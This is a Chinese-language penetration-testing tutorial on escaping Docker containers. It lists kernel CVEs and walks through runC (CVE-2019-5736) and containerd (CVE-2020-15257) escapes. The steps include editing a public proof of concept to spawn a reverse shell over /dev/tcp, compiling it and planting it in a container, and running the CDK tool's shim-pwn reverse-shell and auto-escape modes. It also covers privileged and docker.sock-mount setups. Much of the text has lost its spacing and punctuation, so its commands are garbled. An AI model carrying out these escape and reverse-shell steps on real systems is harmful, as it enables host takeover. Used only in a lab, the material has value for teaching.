云上攻防-云原生篇Docker安全系统内核漏洞docker版本漏洞CDK自动化利用
知识点:1、云原生-Docker安全-容器逃逸系统内核漏洞2、云原生-Docker安全-容器逃逸docker版本漏洞3、云原生-Docker安全-容器逃逸CDK自动化一、演示案例-云原生-Docker安全-容器逃逸系统内核漏洞细节部分在权限提升章节会详解常用CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222二、演示案例-云原生-Docker安全-容器逃逸docker版本漏洞CVE-2019-5736 runC容器逃逸(需要管理员配合触发)影响版本Docker version18.09.2 RunC version1.0-rc61、安装docker对应版本apt-getupdateapt-getinstall-yapt-transport-https ca-certificatescurlsoftware-properties-commoncurl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|sudoapt-keyadd- add-apt-repositorydeb [archamd64] https://download.docker.com/linux/ubuntu$(lsb_release-cs)stableapt-getupdateapt-cachemadison docker-ceapt-getinstalldocker-ce18.06.1~ce~3-0~ubuntu2、启动靶场环境测试dockerrun-itd--cap-addSYS_ADMIN ubuntu:latest3、编译修改后EXP后等待管理员进入容器执行https://github.com/Frichetten/CVE-2019-5736-PoCbash-cexec bash -i /dev/tcp/127.0.0.1/8080 01修改完毕后要把这个main.go编译成main文件CGO_ENABLED0GOOSlinuxGOARCHamd64 go build main.godockercpmain 7f4793f3ac0cd13:/chmod777main执行main文件./main真实系统管理员重新进入该容器触发反弹shelldockerexec-it7f4793f3ac0cd13 /bin/bash4、实验获取云服务器上docker搭建的Web权限后进行逃逸dockerrun-it-p8888:8080 vulhub/struts2:s2-053该工具只能上传脚本文件目录没法上传一些执行程序需要拿到webshell利用webshell链接工具上传执行程序。查看当前网站目录CVE-2020-15257 containerd逃逸(启动容器时有前提参数)影响版本containerd1.4.3 containerd1.3.91、安装docker对应版本apt-getupdateapt-getinstallca-certificatescurlsoftware-properties-commoncurl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|apt-keyadd- add-apt- repositorydeb [archamd64] https://download.docker.com/linux/ubuntu xenial stableapt-getupdateapt-cachemadison docker-ceapt-getinstalldocker-ce5:19.03.6~3-0~ubuntu-xenial docker-ce-cli5:19.03.6~3-0~ubuntu-xenialcontainerd.io1.2.4-12、启动环境测试dockerpull ubuntu:18.04dockerrun-itd--nethost ubuntu:18.04 /bin/bash //--nethost是前提条件不加这个参数启动的docker没有这个漏洞dockerexec-it5be3ed60f152 /bin/bash3、上传CDK工具自动逃逸反弹dockercpcdk_linux_amd64 8e7c27d7b98ca32927:/tmpchmod777cdk_linux_amd64 ./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx //这是指定漏洞利用 ./cdk_linux_amd64 auto-escapeid//自动化漏洞扫描4、实验获取到docker搭建的Web权限后进行逃逸三、演示案例-云原生-Docker安全-容器逃逸CDK自动化CDK项目地址https://github.com/cdk-team/CDK不支持系统内核漏洞演示-特权模式dockerrun--rm--privilegedtrue-it-p8888:8080 vulhub/struts2:s2-053也可以指定漏洞利用演示-危险挂载模式dockerrun--namewith_docker_sock-v/var/run/docker.sock:/var/run/docker.sock-it-p8888:8080 vulhub/struts2:s2-053